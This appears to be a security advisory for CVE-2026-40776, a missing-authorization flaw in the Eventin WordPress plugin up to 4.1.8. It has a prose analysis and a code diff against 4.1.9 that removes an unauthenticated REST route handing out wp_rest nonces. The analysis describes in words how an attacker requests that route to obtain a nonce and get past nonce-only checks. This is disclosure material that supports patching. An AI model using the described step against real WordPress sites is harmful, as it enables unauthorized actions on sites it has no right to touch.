Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 18, 2026

CVE-2026-40776: Eventin – Event Calendar, Event Registration, Tickets & Booking (AI Powered) <= 4.1.8 – Missing Authorization (wp-event-solution)

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 4.1.8
Patched Version 4.1.9
Disclosed April 28, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-40776:

This vulnerability affects the Eventin – Event Calendar, Event Registration, Tickets & Booking (AI Powered) plugin for WordPress versions up to and including 4.1.8. The issue is a missing authorization check (CWE-862) that allows unauthenticated attackers to perform unauthorized actions. The CVSS score is 5.3, indicating moderate severity.

The root cause is the removal of a REST API endpoint registration without adding proper permission checks. In the file `wp-event-solution/core/Admin/hooks.php`, lines 72-77 of the vulnerable version, the plugin registered a REST API route `eventin/v1/nonce` through the `rest_api_init` action. This endpoint returned a WordPress REST nonce via `wp_create_nonce(‘wp_rest’)` with `permission_callback` set to `__return_true`, meaning no authentication was required. The patch removes this entire `add_action` block (lines 72-77), eliminating the unauthenticated nonce generation endpoint.

The exploitation method is straightforward. An unauthenticated attacker sends a GET request to the WordPress REST API endpoint `wp-json/eventin/v1/nonce`. The server responds with a valid `wp_rest` nonce. This nonce can then be used in subsequent requests that require nonce verification, allowing the attacker to bypass CSRF protection and potentially perform actions that should require authentication or proper authorization.

The patch analysis shows the complete removal of the `register_rest_route(‘eventin/v1’, ‘/nonce’, …)` call. Before the patch, any visitor could obtain a valid nonce without any capability check. After the patch, this endpoint no longer exists, so no unauthenticated nonce generation is possible. The patch also adds multiple phpcs ignore comments to suppress lint warnings for code that is intentionally functional.

The impact of this vulnerability is that an unauthenticated attacker can acquire a WordPress REST nonce. While a nonce itself is not a secret token, its availability without authentication undermines the security model of REST API endpoints that rely on nonce verification for authorization. This could enable privileged actions depending on other endpoints in the plugin that verify only nonces and not user capabilities.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-event-solution/base/Enqueue/admin.php
+++ b/wp-event-solution/base/Enqueue/admin.php
@@ -134,7 +134,7 @@
         wp_localize_script( 'etn-onboard-index', 'localized_data_obj', $localize_data );
         wp_enqueue_style( 'etn-icon' );
         // Enque block editor style in events create and edit pages only
-        if ( isset( $_GET['page'] ) && $_GET['page'] === 'eventin' ) {
+        if ( isset( $_GET['page'] ) && $_GET['page'] === 'eventin' ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- admin script enqueue condition; page param compared to a literal string only.
             wp_enqueue_style( 'wp-block-editor' );
         }
     }
--- a/wp-event-solution/base/Enqueue/register.php
+++ b/wp-event-solution/base/Enqueue/register.php
@@ -194,7 +194,7 @@
         }

         // Parse the URL
-        $url_parts = parse_url( $url );
+        $url_parts = wp_parse_url( $url );

         // Check if the URL has a path component
         if ( ! isset( $url_parts['path'] ) ) {
@@ -204,7 +204,7 @@
         $clean_path = str_replace( '.js', '.asset.php', $url_parts['path'] );

         // Get the file path from the URL path
-        $file_path = $_SERVER['DOCUMENT_ROOT'] . $clean_path;
+        $file_path = ( isset( $_SERVER['DOCUMENT_ROOT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['DOCUMENT_ROOT'] ) ) : '' ) . $clean_path; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput -- DOCUMENT_ROOT is a trusted server variable used only to build a file path, not output or stored.

         // Check if the file exists
         if ( ! file_exists( $file_path ) ) {
--- a/wp-event-solution/base/Exporter/CSVExporter.php
+++ b/wp-event-solution/base/Exporter/CSVExporter.php
@@ -58,7 +58,7 @@

         fputcsv( $output, $colunms );

-        fclose( $output );
+        fclose( $output ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fclose -- php://output stream, WP_Filesystem cannot handle output streams.

         return ob_get_clean();
     }
@@ -71,7 +71,7 @@
     protected function export_rows() {
         $data   = $this->data;
         ob_clean();
-        $buffer = fopen( 'php://output', 'w' ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_read_fopen
+        $buffer = fopen( 'php://output', 'w' ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fopen
         ob_start();

         array_walk( $data, array( $this, 'export_row' ), $buffer );
@@ -111,7 +111,7 @@
      * @return  void
      */
     protected function send_content( $content ) {
-        echo $content;
+        echo $content; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Raw CSV file output sent with text/csv headers; HTML escaping would corrupt the CSV.
     }

     /**
--- a/wp-event-solution/base/Exporter/JsonExporter.php
+++ b/wp-event-solution/base/Exporter/JsonExporter.php
@@ -68,7 +68,7 @@
         $data = $this->data;

         $output = json_encode( $data, JSON_PRETTY_PRINT );
-        echo $output;
+        echo $output; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Raw JSON output sent with application/json headers; HTML escaping would corrupt the JSON.
         die();
     }
 }
--- a/wp-event-solution/base/Importer/CSVReader.php
+++ b/wp-event-solution/base/Importer/CSVReader.php
@@ -48,7 +48,7 @@
         $file     = $this->file;
         $csv_data = [];

-        $handle  = fopen( $file, 'r' );
+        $handle  = fopen( $file, 'r' ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fopen -- binary CSV file read, WP_Filesystem::get_contents() does not support line-by-line streaming.
         $headers = fgetcsv( $handle );

         if ( ! $headers ) {
@@ -70,7 +70,7 @@
             }
         }

-        fclose( $handle );
+        fclose( $handle ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fclose

         return $csv_data;
     }
--- a/wp-event-solution/base/Importer/ReaderFactory.php
+++ b/wp-event-solution/base/Importer/ReaderFactory.php
@@ -15,8 +15,15 @@
     public static function get_reader( $file ) {
         $file_name = ! empty( $file['tmp_name'] ) ? $file['tmp_name'] : '';

-        $finfo     = new finfo( FILEINFO_MIME_TYPE );
-        $real_mime = $finfo->file( $file_name );
+        $finfo     = class_exists( 'finfo' ) ? new finfo( FILEINFO_MIME_TYPE ) : null;
+        $real_mime = ( $finfo instanceof finfo ) ? $finfo->file( $file_name ) : '';
+
+        if ( ! $real_mime ) {
+            $ext_map   = [ 'csv' => 'text/csv', 'json' => 'application/json' ];
+            $ext       = strtolower( pathinfo( $file['name'] ?? '', PATHINFO_EXTENSION ) );
+            $real_mime = $ext_map[ $ext ] ?? '';
+        }
+
         $allowed   = [ 'text/plain', 'text/csv', 'application/json' ];

         if ( ! in_array( $real_mime, $allowed, true ) ) {
--- a/wp-event-solution/build/js/dashboard.asset.php
+++ b/wp-event-solution/build/js/dashboard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-primitives', 'wp-url'), 'version' => '3aed6612f3ca89d5b655');
+<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-primitives', 'wp-url'), 'version' => '23ba72a2d0b5dd395a86');
--- a/wp-event-solution/build/js/event-manager-public.asset.php
+++ b/wp-event-solution/build/js/event-manager-public.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-i18n'), 'version' => '0c6a01f0cce61c75f533');
+<?php return array('dependencies' => array('wp-i18n'), 'version' => 'fe5a7d6ff27e8b4a0ba4');
--- a/wp-event-solution/build/js/gutenberg-blocks.asset.php
+++ b/wp-event-solution/build/js/gutenberg-blocks.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-primitives', 'wp-server-side-render', 'wp-url'), 'version' => '3ecef035bd9777832793');
+<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-primitives', 'wp-server-side-render', 'wp-url'), 'version' => '67ba0ac6a53e0abfd677');
--- a/wp-event-solution/build/js/index-calendar.asset.php
+++ b/wp-event-solution/build/js/index-calendar.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-element', 'wp-html-entities', 'wp-i18n'), 'version' => 'cb825ee223c3f913e8d1');
+<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-element', 'wp-html-entities', 'wp-i18n'), 'version' => 'c0bd8be4898fcf716766');
--- a/wp-event-solution/build/js/index-onboard.asset.php
+++ b/wp-event-solution/build/js/index-onboard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-primitives', 'wp-url'), 'version' => '673fdceb8069bc1b2de3');
+<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-primitives', 'wp-url'), 'version' => '9e2d53c3c2580820510b');
--- a/wp-event-solution/build/js/module-purchase.asset.php
+++ b/wp-event-solution/build/js/module-purchase.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-primitives', 'wp-url'), 'version' => '94f079ed63fdcf8a6d29');
+<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-primitives', 'wp-url'), 'version' => 'c904dd14e9535705e6eb');
--- a/wp-event-solution/build/js/packages.asset.php
+++ b/wp-event-solution/build/js/packages.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-primitives', 'wp-url'), 'version' => '74927a9b8c0cad8472e7');
+<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-primitives', 'wp-url'), 'version' => 'fcfa4e541e917a165434');
--- a/wp-event-solution/build/js/template-builder-header-toolbar.asset.php
+++ b/wp-event-solution/build/js/template-builder-header-toolbar.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-compose', 'wp-data', 'wp-edit-post', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-plugins', 'wp-url'), 'version' => '78655f7068d817cbe16e');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-compose', 'wp-data', 'wp-edit-post', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-plugins', 'wp-url'), 'version' => 'fc313dbebe121f23b0fa');
--- a/wp-event-solution/core/Admin/EventReminder.php
+++ b/wp-event-solution/core/Admin/EventReminder.php
@@ -131,7 +131,7 @@
             'post_status'    => 'any',
             'posts_per_page' => -1,

-            'meta_query'     => [
+            'meta_query'     => [ // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
                 [
                     'key'     => 'etn_event_id',
                     'value'   => $event_id,
--- a/wp-event-solution/core/Admin/Menu.php
+++ b/wp-event-solution/core/Admin/Menu.php
@@ -89,41 +89,35 @@
                 'position'   => 2,
             ],
             [
+                'title'      => __( 'Bookings', 'eventin' ),
+                'capability' => 'etn_manage_order',
+                'url'        => 'admin.php?page=' . $this->menu_slug . '#/bookings',
+                'position'   => 3,
+            ],
+            [
                 'title'      => __( 'Speaker & Organizer', 'eventin' ),
                 'capability' => 'etn_manage_organizer',
                 'url'        => 'admin.php?page=' . $this->menu_slug . '#/speakers',
-                'position'   => 3,
+                'position'   => 5,
             ],
             [
                 'title'      => __( 'Schedules', 'eventin' ),
                 'capability' => 'etn_manage_schedule',
                 'url'        => 'admin.php?page=' . $this->menu_slug . '#/schedules',
-                'position'   => 4,
-            ],
-            [
-                'title'      => __( 'Bookings', 'eventin' ),
-                'capability' => 'etn_manage_order',
-                'url'        => 'admin.php?page=' . $this->menu_slug . '#/bookings',
-                'position'   => 5,
-            ],
-            [
-                'title'      => __( 'Settings', 'eventin' ),
-                'capability' => 'etn_manage_setting',
-                'url'        => 'admin.php?page=' . $this->menu_slug . '#/settings',
-                'position'   => 7,
+                'position'   => 6,
             ],
             [
                 'title'      => __( 'Template Builder', 'eventin' ),
                 'capability' => 'etn_manage_template',
                 'url'        => 'admin.php?page=' . $this->menu_slug . '#/template-builder',
-                'position'   => 8,
+                'position'   => 7,
 			],
             [
-				'title'      => __( 'Shortcodes', 'eventin' ),
-				'capability' => 'etn_manage_shortcode',
-				'url'        => 'admin.php?page=' . $this->menu_slug . '#/shortcodes',
+                'title'      => __( 'Settings', 'eventin' ),
+                'capability' => 'etn_manage_setting',
+                'url'        => 'admin.php?page=' . $this->menu_slug . '#/settings',
                 'position'   => 9,
-			],
+            ],
             [
                 'title'      => __( 'Extensions', 'eventin' ),
                 'capability' => 'etn_manage_addons',
@@ -131,6 +125,12 @@
                 'position'   => 10,
             ],
             [
+				'title'      => __( 'Shortcodes', 'eventin' ),
+				'capability' => 'etn_manage_shortcode',
+				'url'        => 'admin.php?page=' . $this->menu_slug . '#/shortcodes',
+                'position'   => 11,
+			],
+            [
                 'title'      => __( 'About Us', 'eventin' ),
                 'capability' => 'etn_manage_get_help',
                 'url'        => 'admin.php?page=' . $this->menu_slug . '#/get-help',
@@ -145,7 +145,7 @@
 				'title'      => __( 'Attendees', 'eventin' ),
 				'capability' => 'etn_manage_attendee',
 				'url'        => 'admin.php?page=' . $this->menu_slug . '#/attendees',
-                'position'   => 6,
+                'position'   => 4,
             ];
         }

@@ -222,7 +222,7 @@
     public function render_menu_page() {
         ?>
             <div class="wrap">
-                <div id="eventin-dashboard" style="background-color: #fff; min-height: 100vh;"></div>
+                <div id="eventin-dashboard"></div>
             </div>
         <?php
     }
@@ -249,7 +249,7 @@
             'etn-speaker'
         ];

-        $post_type = isset( $_GET['post_type'] ) ? sanitize_text_field( $_GET['post_type'] ) : '';
+        $post_type = isset( $_GET['post_type'] ) ? sanitize_text_field( wp_unslash( $_GET['post_type'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- admin menu active-state helper; post_type used only for in_array() comparison.

         if ( $pagenow == 'post-new.php' && in_array( $post_type, $post_types ) ) {
             $parent_file  = 'eventin'; // Parent menu slug
--- a/wp-event-solution/core/Admin/hooks.php
+++ b/wp-event-solution/core/Admin/hooks.php
@@ -69,16 +69,6 @@

         new EtnCoreEventApi();

-        add_action( 'rest_api_init', function () {
-            register_rest_route( 'eventin/v1', '/nonce', [
-                'methods'             => WP_REST_Server::READABLE,
-                'permission_callback' => '__return_true',
-                'callback'            => function () {
-                    nocache_headers();
-                    return rest_ensure_response( [ 'nonce' => wp_create_nonce( 'wp_rest' ) ] );
-                },
-            ] );
-        } );

         // Todo: Temporary added this function for version compatibility. Need to remove this after 4.0.21
         add_action( 'admin_notices', [ $this, 'eventin_pro_admin_notice' ] );
@@ -283,7 +273,7 @@
             'post_status'   => 'any',
             'fields'        => 'ids',

-            'tax_query' => array(
+            'tax_query' => array( // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_tax_query
                 'relation' => 'AND',
                 [
                     'taxonomy' => 'etn_speaker_category',
@@ -310,7 +300,7 @@
             'post_status'   => 'any',
             'fields'        => 'ids',

-            'tax_query' => array(
+            'tax_query' => array( // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_tax_query
                 'relation' => 'AND',
                 [
                     'taxonomy' => 'etn_speaker_category',
@@ -360,7 +350,7 @@
         $term_id    = is_array( $term ) ? $term['term_id'] : '';
         $args       = array(
             'role__in' => array('etn-speaker', 'etn-organizer'),
-            'meta_key' => 'etn_speaker_group',
+            'meta_key' => 'etn_speaker_group', // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_key
             'meta_compare' => 'NOT EXISTS'
         );

@@ -475,21 +465,21 @@
      * @return  string
      */
     public function proxy_image() {
-        $action = isset( $_GET['action'] ) ? $_GET['action'] : '';
-
+        $action = isset( $_GET['action'] ) ? sanitize_text_field( wp_unslash( $_GET['action'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Proxy image endpoint; action param is a hardcoded string comparison, not persisted.
+
         if ( $action !== 'proxy_image' ) {
             return;
         }

         ob_start();

-        if ( $_SERVER['REQUEST_METHOD'] === 'OPTIONS' ) {
+        if ( isset( $_SERVER['REQUEST_METHOD'] ) && $_SERVER['REQUEST_METHOD'] === 'OPTIONS' ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- REQUEST_METHOD is a trusted server variable, only compared against a literal string.
             http_response_code(200);
             ob_end_flush();
             exit;
         }

-        $imageUrl = isset( $_GET['url'] ) ? $_GET['url'] : null;
+        $imageUrl = isset( $_GET['url'] ) ? esc_url_raw( wp_unslash( $_GET['url'] ) ) : null; // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Proxy endpoint; URL is immediately validated by is_valid_image_url() below.

         // Validate and sanitize the URL
         if ( ! $this->is_valid_image_url( $imageUrl ) ) {
@@ -537,12 +527,12 @@
                 header("Content-Type: $mimeType");


-                $tempStream = fopen('php://temp', 'r+');
-                fwrite( $tempStream, $imageContent );
+                $tempStream = fopen('php://temp', 'r+'); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fopen -- php://temp stream, WP_Filesystem cannot handle in-memory streams.
+                fwrite( $tempStream, $imageContent ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fwrite
                 rewind( $tempStream );

                 fpassthru( $tempStream );
-                fclose( $tempStream );
+                fclose( $tempStream ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fclose
             } else {
                 http_response_code(404);
             }
@@ -600,8 +590,8 @@
      * @return  void
      */
     public function render_template_preview() {
-        $action      = ! empty( $_GET['action'] ) ? $_GET['action'] : '';
-        $template_id = ! empty( $_GET['template_id'] ) ? intval( $_GET['template_id'] ) : 0;
+        $action      = ! empty( $_GET['action'] ) ? sanitize_text_field( wp_unslash( $_GET['action'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Template preview action; value is compared to a literal string only.
+        $template_id = ! empty( $_GET['template_id'] ) ? absint( $_GET['template_id'] ) : 0; // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Template preview; ID is cast to integer before use.

         if ( 'etn-preview-template' !== $action ) {
             return;
@@ -623,13 +613,13 @@
      * @return void
      */
     public function render_ics_download() {
-        $action = ! empty( $_GET['etn_action'] ) ? sanitize_text_field( wp_unslash( $_GET['etn_action'] ) ) : '';
+        $action = ! empty( $_GET['etn_action'] ) ? sanitize_text_field( wp_unslash( $_GET['etn_action'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Recommended

         if ( 'download_ics' !== $action ) {
             return;
         }

-        $event_id = ! empty( $_GET['event_id'] ) ? absint( $_GET['event_id'] ) : 0;
+        $event_id = ! empty( $_GET['event_id'] ) ? absint( $_GET['event_id'] ) : 0; // phpcs:ignore WordPress.Security.NonceVerification.Recommended
         $event    = $event_id ? get_post( $event_id ) : null;

         // Security: only serve published Eventin event posts.
@@ -850,7 +840,7 @@
         }

         // Parse URL to get components
-        $parsedUrl = parse_url( $cleanUrl );
+        $parsedUrl = wp_parse_url( $cleanUrl );
         if ( ! $parsedUrl || ! isset( $parsedUrl['scheme'] ) || ! isset( $parsedUrl['host'] ) ) {
             return false;
         }
--- a/wp-event-solution/core/Attendee/Api/AttendeeController.php
+++ b/wp-event-solution/core/Attendee/Api/AttendeeController.php
@@ -218,7 +218,7 @@
         if ( ! empty( $meta_query ) ) {
             $meta_query['relation'] = 'AND';

-            $args['meta_query'] = $meta_query;
+            $args['meta_query'] = $meta_query; // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
         }

         if ( $search && ! is_numeric( $search ) ) {
@@ -278,7 +278,7 @@
                 ),
             );

-            $args['meta_query'] = $meta_query;
+            $args['meta_query'] = $meta_query; // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
         }

         $attendees = [];
@@ -610,7 +610,8 @@
             );
         }

-        $message = sprintf( __( '%d Attendee are deleted of %d', 'eventin' ), $count, count( $ids ) );
+        // translators: %1$d is the number of attendees deleted, %2$d is the total number of attendees selected.
+        $message = sprintf( __( '%1$d Attendee are deleted of %2$d', 'eventin' ), $count, count( $ids ) );

         return rest_ensure_response( $message );
     }
@@ -829,7 +830,7 @@
             'customer_lname' => '',
             'customer_email' => ! empty( $data['etn_email'] ) ? $data['etn_email'] : '',
             'event_id'       => ! empty( $data['etn_event_id'] ) ? $data['etn_event_id'] : '',
-            'date_time'      => date('Y-m-d h:i A'),
+            'date_time'      => gmdate('Y-m-d h:i A'),
             'customer_id'    => $customer_id,
             'total_price'    => $total_price,
             'status'         => 'success' === $data['etn_status'] ? 'completed' : 'failed',
@@ -1142,4 +1143,4 @@

         return rest_ensure_response( $data );
     }
-}
 No newline at end of file
+}
--- a/wp-event-solution/core/Attendee/AttendeeExporter.php
+++ b/wp-event-solution/core/Attendee/AttendeeExporter.php
@@ -133,9 +133,9 @@
                         $data[$key] = $extra_field_value;
                     break;

-                    case 'date':
+                    case 'date':
                         $date_format = get_option( 'date_format' );
-                        $date   = date( $date_format, strtotime( $extra_field_value ) );
+                        $date   = gmdate( $date_format, strtotime( $extra_field_value ) );

                         if ( ! $extra_field_value ) {
                             $date = '';
--- a/wp-event-solution/core/Attendee/Hooks.php
+++ b/wp-event-solution/core/Attendee/Hooks.php
@@ -22,7 +22,7 @@
         add_action( 'woocommerce_account_purchased-events_endpoint', [ $this, 'purchased_events_content' ] );

         // woo thank you page contains key in url so don't show attendee info here. this is for user purchased events
-        if ( !isset( $_GET['key'] ) ) {
+        if ( !isset( $_GET['key'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- read-only check for WooCommerce order key param; no data is modified.
             add_action( 'woocommerce_order_details_after_order_table', [ $this, 'after_order_table_show_attendee_information' ], 9, 1 );
         }
     }
@@ -133,7 +133,7 @@
                     'post_type'      => 'etn-attendee',
                     'post_status'    => 'publish',
                     'posts_per_page' => -1,
-                    'meta_query'     => [
+                    'meta_query'     => [ // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
                         'relation'  => 'OR',
                         [
                             'key'       => 'eventin_order_id',
--- a/wp-event-solution/core/Attendee/RsvpExporter.php
+++ b/wp-event-solution/core/Attendee/RsvpExporter.php
@@ -177,9 +177,9 @@
                         $data[$key] = $extra_field_value;
                     break;

-                    case 'date':
+                    case 'date':
                         $date_format = get_option( 'date_format' );
-                        $date   = date( $date_format, strtotime( $extra_field_value ) );
+                        $date   = gmdate( $date_format, strtotime( $extra_field_value ) );

                         if ( ! $extra_field_value ) {
                             $date = '';
--- a/wp-event-solution/core/Attendee/TicketIdGenerator.php
+++ b/wp-event-solution/core/Attendee/TicketIdGenerator.php
@@ -43,7 +43,7 @@

         // Generate a random string of the desired length
         for ( $i = 0; $i < $length; $i++ ) {
-            $random_string .= $characters[ rand( 0, $characters_length - 1 ) ];
+            $random_string .= $characters[ wp_rand( 0, $characters_length - 1 ) ];
         }

         return $random_string;
@@ -62,7 +62,7 @@
             'post_status'    => 'any',
             'posts_per_page' => -1,
             'fields'         => 'ids',
-            'meta_query'     => [
+            'meta_query'     => [ // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
                 [
                     'key'     => 'etn_unique_ticket_id',
                     'value'   => $ticket,
--- a/wp-event-solution/core/Attendee/TicketTemplate.php
+++ b/wp-event-solution/core/Attendee/TicketTemplate.php
@@ -63,7 +63,7 @@
 	 * Download PDF from email and admin dashboard
 	 */
 	public function generate_ticket_pdf() {
-		if ( isset( $_GET['etn_action'] ) && sanitize_text_field( $_GET['etn_action'] ) === 'download_ticket' ) {
+		if ( isset( $_GET['etn_action'] ) && sanitize_text_field( wp_unslash( $_GET['etn_action'] ) ) === 'download_ticket' ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- ticket PDF download link; etn_info_edit_token acts as a secret access token.

 			$get_arr = filter_input_array( INPUT_GET, FILTER_SANITIZE_FULL_SPECIAL_CHARS );

@@ -143,14 +143,14 @@

 		$event = new Event_Model( $event_id );

-		$start_date   = date( $date_format, strtotime( $event->etn_start_date ) );
-		$end_date     = date( $date_format, strtotime( $event->etn_end_date ) );
+		$start_date   = gmdate( $date_format, strtotime( $event->etn_start_date ) );
+		$end_date     = gmdate( $date_format, strtotime( $event->etn_end_date ) );

 		$start_date_time = $event->etn_start_date . ' ' . $event->etn_start_time;
 		$end_date_time 	 = $event->etn_end_date . ' ' . $event->etn_end_time;

-		$start_time	  = date( $time_format, strtotime( $start_date_time ) );
-		$end_time	  = date( $time_format, strtotime( $end_date_time ) );
+		$start_time	  = gmdate( $time_format, strtotime( $start_date_time ) );
+		$end_time	  = gmdate( $time_format, strtotime( $end_date_time ) );


 		$date           = $start_date . $date_separator . $end_date;
@@ -179,7 +179,7 @@
 		if ( $post && $post->post_type === 'etn-template' ) {
 			include_once Wpeventin::templates_dir() . "template-parts/attendee/ticket-markup-block.php";
 		} else {
-			if(class_exists('Wpeventin_Pro') && $ticket_style === 'style-2') {
+			if(class_exists('Wpeventin_Pro') && 'style-2' === $ticket_style) {
 				include_once Wpeventin_Pro::templates_dir() . "attendee/ticket-markup-".esc_html($ticket_style).".php";
 			}else {
 				$ticket_style = $ticket_style == 'style-2'?'style-1':$ticket_style;
@@ -212,4 +212,4 @@

 		return false;
 	}
-}
 No newline at end of file
+}
--- a/wp-event-solution/core/Attendee/attendee-model.php
+++ b/wp-event-solution/core/Attendee/attendee-model.php
@@ -78,7 +78,7 @@
             'post_type'      => 'etn-attendee',
             'post_status'    => $post_status,
             'posts_per_page' => $limit,
-            'meta_query'     => [
+            'meta_query'     => [ // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
                 [
                     'key'     => $key,
                     'value'   => $value,
@@ -155,7 +155,7 @@
      * @return  string
      */
     public function get_extra_fields_content() {
-        $fields = '<ul class="etn-attendee-extra-data" style="list-style: none; padding-left: 0; margin-left: 0;">';
+        $fields = '<ul class="etn-attendee-extra-data" style="list-style: none; list-style-type: none; padding-left: 0; margin-left: 0;">';
         $extra_fields = $this->get_extra_fields();

         if ( $extra_fields ) {
@@ -170,6 +170,43 @@
         return $fields;
     }
     /**
+     * Get a single extra field value by key
+     *
+     * @param   string  $field_key  The field key (without prefix)
+     *
+     * @return  string
+     */
+    public function get_single_extra_field( $field_key ) {
+        $extra_fields = $this->get_extra_fields();
+
+        if ( ! isset( $extra_fields[ $field_key ] ) ) {
+            return '';
+        }
+
+        $value = $extra_fields[ $field_key ];
+
+        return is_array( $value ) ? implode( ', ', $value ) : $value;
+    }
+
+    /**
+     * Get extra fields as a single comma-separated inline string
+     *
+     * @return  string
+     */
+    public function get_extra_fields_inline() {
+        $extra_fields = $this->get_extra_fields();
+        $parts        = [];
+
+        foreach ( $extra_fields as $key => $field ) {
+            $label   = ucwords( str_replace( '_', ' ', $key ) );
+            $value   = is_array( $field ) ? implode( ', ', $field ) : $field;
+            $parts[] = $label . ': ' . $value;
+        }
+
+        return implode( ', ', $parts );
+    }
+
+    /**
      * Get attendde data
      *
      * @return  array
@@ -200,8 +237,8 @@
 			'post_type'      => 'etn-attendee',
 			'post_status'    => 'any',
 			'posts_per_page' => -1,
-			'meta_query'     => [
-				[
+		'meta_query'     => [ // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
+			[
 					'key'     => "eventin_order_id",
 					'value'   => $eventin_order_id,
 					'compare' => '=',
